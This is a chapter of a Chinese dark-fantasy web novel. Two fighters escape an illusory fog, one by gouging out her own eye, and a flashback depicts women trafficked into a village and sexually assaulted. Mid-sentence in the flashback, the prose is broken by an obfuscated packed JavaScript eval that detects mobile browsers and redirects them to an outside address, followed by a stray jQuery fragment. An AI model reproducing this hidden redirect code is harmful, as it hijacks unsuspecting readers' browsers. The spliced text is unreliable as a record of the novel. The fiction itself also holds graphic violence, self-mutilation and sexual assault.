86.双子塔(十八)
作品:《在无限废土当怪物之王》 那口井立在月光下,像一个巨大的张开的咽喉。
三个人立在井边往下看,里面漆黑一片,什么也看不见。
但鹤爻有感觉,那东西就在下面。
“任鸢留下,我和鹰姐下去。”鹤爻说,她没有解释太多。
做指挥这么久,她已经习惯发号施令,任鸢也习惯了绝对服从。
井底不深,霍鹰落下去的时候,脚像踩上了一块松动的石头。
她低头。
脚底下什么都没有。
她站在一根细细的钢丝上。
钢丝下面是万丈深渊,狂风从底下呼啸而上,吹得她摇摇欲坠。
她浑身冷汗,想要呼喊,却发不出一点声音。
就在这时,一只手按在她肩上。
那只手很稳,很烫,像一把刀切开那片虚假的幻影。
“鹰姐醒醒,是精神入侵!”鹤爻摇着她的肩膀。
霍鹰方才清醒,脚也跟着踩在了实处。
“难缠,”霍鹰皱眉说,“这家伙竟然是精神系?”
忽然起了一层大雾,很快就到了伸手不见五指的地步。
鹤爻发现,不仅蜘蛛感知无法穿透这层浓雾,一向叽叽喳喳的佐塔也没了声音。
“这雾气邪门得很,”鹤爻握紧刀柄说,“鹰姐,你跟紧我。”
没有回应。
鹤爻转身,霍鹰站在一米开外,一动不动,雾气在她身边翻涌,把她裹成一个模糊的影子。
“鹰姐?”她又喊一遍。
还是没有反应。
鹤爻心里一紧,以为她又陷入了幻境,立刻伸手去拍她的肩膀。
比霍鹰更快的,是霍鹰手里的短斧。
暗红色的战斧,带着破空的风声,狠狠劈来,鹤爻只觉脖子一凉,然后天旋地转。
视野里,她看见一具无头的身体穿着自己的衣服站在原地,切口处不断喷血。
【你已死亡】
濒死的恐惧像潮水一样涌来,鹤爻再次站在原地,捂住脖子,大口喘气,UI系统弹开:
【蜘蛛预判自动触发】
【未来闪回0.5秒】
【冷却时间1小时】
提示刚在眼前浮现,霍鹰的短斧再一次劈了过来。
刚刚那一刀太快了,快到她连影子切换都没来不及做,更别说张开玄鳞甲。
好在经历过一次,这一刀,鹤爻像是早有准备,她偏头,斧刃擦着她的耳朵掠过,斩断了几根碎发。
同一瞬间,鹤爻的长刀已经刺出,毫不留情,直贯对方的胸膛。
没有任何刺入实体的感觉。
“霍鹰”的身体像一团被风吹散的雾气,破碎消散。
另一边,霍鹰已经很久没听到鹤爻的声音了,她回头,鹤爻站在原地,一动不动。
“指挥?”
霍鹰走过去,正要抬手在她眼前轻晃,寒光骤然一闪。
长刀砍上左肩,被极速覆盖的玄鳞甲挡住,发出“当”的一声。
又一刀,横着切过来。
霍鹰以为她被迷惑了,不敢还手,只能不断呼喊她的名字,一边连连后退。
可是对方没有反应。
最后,那个人像雾一样飘散。
霍鹰愣住。
她开始怀疑,自己是不是又陷入幻境了?
身后传来急匆匆的脚步声。
霍鹰转头,鹤爻站在一步之外,手里抓着火焰长刀。
“鹰姐?”鹤爻试探地喊。
霍鹰没有应,她慢慢举起短斧,防止对方突然暴起。
“又是假的?”鹤爻低声说。
还没等霍鹰反应过来这句话的意思,那柄燃着烈火的长刀已经到了眼前。
两人短短接了一招,鹤爻便知道这次是真的,赶紧收刀。
霍鹰也反应过来,走过去和她并肩站立,皱眉说:“这雾会模仿?”
“应该是那个女人的能力,她是蝇人们的母亲,自然也有蝇人的模仿能力。”鹤爻说。
霍鹰举起短斧,眼睛不敢离开鹤爻,生怕一不小心又冒出个假货。
嗡嗡嗡——
一大群蝇人从雾中涌来,透明的翅膀振动着。
霍鹰挥斧砍去,那些蝇人像烟雾一样溃散,又是假的。
还没松口气,身后忽然冒出的蝇人,足像锋利的刀口一样,一下切开了她的左臂,好在关键时刻,鹤爻一刀捅穿了那只蝇人的身体。
下一秒,雾中又冲出几个影子。
这一次是真的还是假的?
不知道。
两个人只能挥刀迎敌,砍散一个,砍死一个,又砍散两个。
真真假假,虚虚实实。
分不清了。
体力在飞速消耗。
可是她们不仅连那头怪物的边都没碰到,还被困在这场无尽的雾里。
再这样下去,她们就算不被这些东西拖到力竭,也会因为幻觉自相残杀。
“该死,该死!”霍鹰声音带着焦躁,斧刃上沾满了血迹。
到底怎么出去?鹤爻双手握刀,大口喘息。
——希望它能够带你破开迷雾。
鹤爻耳边忽然响起那道声音。
原来如此。
原来他是这个意思?
心念电转,一把匕首握进手里,鹤爻想也没想就往左眼扎去。
“你干什么!”霍鹰急忙拉住她的手臂,“鹤爻,你清醒一点!”
刀锋划开一道细小的伤口,眼瞳开始漫出血浆。
霍鹰以为她被迷惑了,可鹤爻那只带血的瞳孔,坚毅无比。
“魏宪已经告诉过我们,出去的方法了。”鹤爻说。
霍鹰怔住。
“鹰姐,这就是先知看到的结局,谁也改变不了。”
她甚至还笑了一下,仿佛接下来要做的,是件轻松无比的事。
“我会毁掉这座岛,带你们所有人出去的。”鹤爻笃定道。
霍鹰看着她,半晌,慢慢松开了手。
匕首切入眼眶,整个过程鹤爻没有发出任何声音。
她的左眼被完整的挖出来,半张脸都被血水淹没。
血肉再生试图填补眼睛的空洞,鹤爻咬牙,用匕首搅动扩张,将先知之眼塞了进去。
那只眼睛被死死按住,还在手心里不断挣扎,想要钻出来。
强烈的排异反应,像有人用烧红的铁棍在脑子里搅动,浑身的汗像瀑布一样砸在地上。
霍鹰别过头,不忍心看。
几分钟,犹如一个世纪一样漫长。
终于融合成功,鹤爻再次睁开眼。
她的左眼,瞳孔变成了灰白色。
那些浓得化不开的雾,此刻在她眼中,就像被一口气吹散的烟。
烟雾退散,一条笔直的道路,出现在她们脚下。
她们往前走,路的尽头,坐着一个赤身裸|体的女人。
她很年轻,张开双臂,笑盈盈的,像是等待她们很久。
在对视的一刹那,霍鹰、女人,井口全都不见了,大地开始晃动,鹤爻感觉自己像坐在了摇晃的车厢里。
她的脑海里出现了一段记忆。
那个女人的记忆。
……
颠簸。
车在土路上来回晃,每一下都像要把人的骨头架子震散。
窗外的树一棵接一棵往后倒,全是叫不出名字的野树,密得看不见天。空气里有一股牛粪味,混着潮湿的泥土,让人想要作呕。
“还有多远啊?”
说话的是林小禾,她坐在最前排,脸都快贴到车窗上了,扎着两个麻花辫,是支教三个老师里年纪最小的。
“别急,快了快了。”开车的向导看了一眼后视镜,嘴里叼着根烟,烟雾从车窗缝里飘出去。
副驾驶上坐着张秀英,二十三岁,戴着眼镜,这次下乡就是由她带队。
最后面坐着许秋水,二十岁,刚毕业的师范生,她手里攥着一张皱巴巴的地图。
可惜玉山村这个地方,地图上根本找不到。
天色越来越暗。
重重叠叠的山脉,像一张慢慢张开的血盆大口。
晚间起了山雾,白茫茫一片,她们在雾里绕了两三个小时,才终于看到一片村庄。
破旧的土房,泥泞的路。
村口站着一群男人,老的,少的,穿着灰扑扑的衣服,脸上挂着笑容,目光直勾勾的看着她们。
她们被村长迎进村,那群男人就像贪吃的怪物一样,赘在身后。
许秋水听到他们的声音,细细的,小小的,像老鼠在叫。
“我选那个。”
“这个漂亮,我要这个!”
“漂亮有什么用,选那个,屁股大好生养。”
“那个扎辫子的我喜欢。”
“这个也行,那个也行,我不挑,嘿嘿嘿。”
许秋水终于觉察到不对劲,转身要跑,一张早已准备好的渔网从天而降,把她死死压在地上。
一只手伸过来,指甲缝里嵌着黑泥,强硬的给她灌进一口什么东西,她的视线开始模糊。
昏迷之前,她看见那个开车
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343461|194206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的向导站在不远处,和村长说着话。
“这个月就这三个了,其余的,等风声过了再说。”
“我知道你们村还有很多老光棍,但是上头查得严,先紧着年轻人用吧。”
“或者几个人用一个,反正生下来,都是村里人,都是一个姓。”
后来许秋水才知道,这个玉山村,是个绝嗣村,这个村子全是同一个姓,世代通婚,祭拜同一个祖先。
玉山村在数百年前,受到了诅咒,女孩早早夭折,村子里全是男人。
没有后代,就要绝户。
五年前,她们开始以助教的名义骗女人进来,让外面的女人帮他们生孩子,延续香火。
在许秋水之前,已经有二十五个女孩被骗来了这里。
她们被关在村子里,被那些男人变着法子折磨。
许秋水试过逃,一次,两次,三次,无数次。
每一次都被拖回来。
每一次都挨打得更狠。
但她从没有放弃。
大概是怕她真有一天会逃出去,又或者是害怕其他女人受她鼓动。
村长做了一个决定,她把那些受骗过来的女人们聚在一起。
“我可以放你们离开。”村长说。
“这样吧,每天早上,你们投票。”
“以一个月为限,这一个月内只要有一天,你们全员选择离开,我就放你们走。”
许秋水像抓住了救命稻草。
她不再想着逃跑,而是不断的去劝说那些女人,那些人里,有的孩子已经会走路了。
她们在许秋水一次又一次的劝说,一声又一声的哀求下,终于,全员同意。
最后一天的早上,一张又一张的投票被翻开,都是出山。
可到最后两张的时候,却是留下来。
许秋水不敢相信,她的目光扫过每一个人,只有林小禾和张秀英闪烁了目光。
“为什么?为什么?!”
许秋水拎着她们的衣领,声音发着抖。
她不明白,这两个曾经和她一起发誓,死也要逃出去的伙伴,怎么会临阵倒戈?
为什么是她们?
怎么能够是她们!
林小禾低着头,不敢看她。
“对不起……秋水姐……我有孩子了……族长说,我出去就要摔死我的孩子……”
张秀英也红着眼眶,“我出去了,别人会怎么看我?我爸是个死板的人,我回去,他会打死我,我不想死……”
“秋水姐,留下来吧。”林小禾说。
“秋水,这里……也挺好的,不是吗?”张秀英抓着她的手也说。
许秋水痛苦的抱着头。
她也怀过一个孩子,她甚至不知道那是谁的孩子。
那个孽种,被她亲手打掉了。
她一定要出去,他的爸爸妈妈还在等她。
纵然是死,她也要把身体带去外面!
许秋水发了疯的往外冲,她从来都没有跑的那样快过,身后是暴怒的村民。
树枝和荆棘刮在脸上,扯出长长的口子,她感觉不到疼,只是跑,拼命跑,像逼入绝路的野兽。
她竟然冲出了那座大山,一脚踏进了雾里,很远的地方,似乎站着两个人。
苍老又熟悉。
爸爸……妈妈……
是她们吗?
她们来找她了吗?
许秋水的眼泪涌出来,张口就要喊,声音被一张大手按了回去。
她被按趴在地上,脸埋进泥里,嘴里全是土和草屑,头顶是粗喘的呼吸和男人们骂骂咧咧的声音。
雾里的两个人不见了。
果然是她的幻觉。
一个男人翻过她,骑在她身上。
周围站满了人。
男人女人,老的少的,一张张脸,在她眼前摇摇晃晃,像从噩梦里走出来的鬼,围观这场暴行。
林小禾按住她的手,张秀英按住她的双腿,她们竟然在笑。
仿佛这样做,就能让她屈服。
仿佛把她也拖进这个泥潭,她们才能安心。
汹涌的日光照进许秋水的眼睛里,她开始放肆大笑。
男人被她吓了一跳,停下了动作,拍了拍她的脸。
似乎是在确认她是不是真疯了。
也就是这一个刹那,许秋水挣开了手臂,一把抱住男人的脑袋。
一声惨嚎。
男人连滚带跑的后退。
所有人都惊恐的看着她。
许秋水慢慢偏头,吐出来半只血淋淋的耳朵。

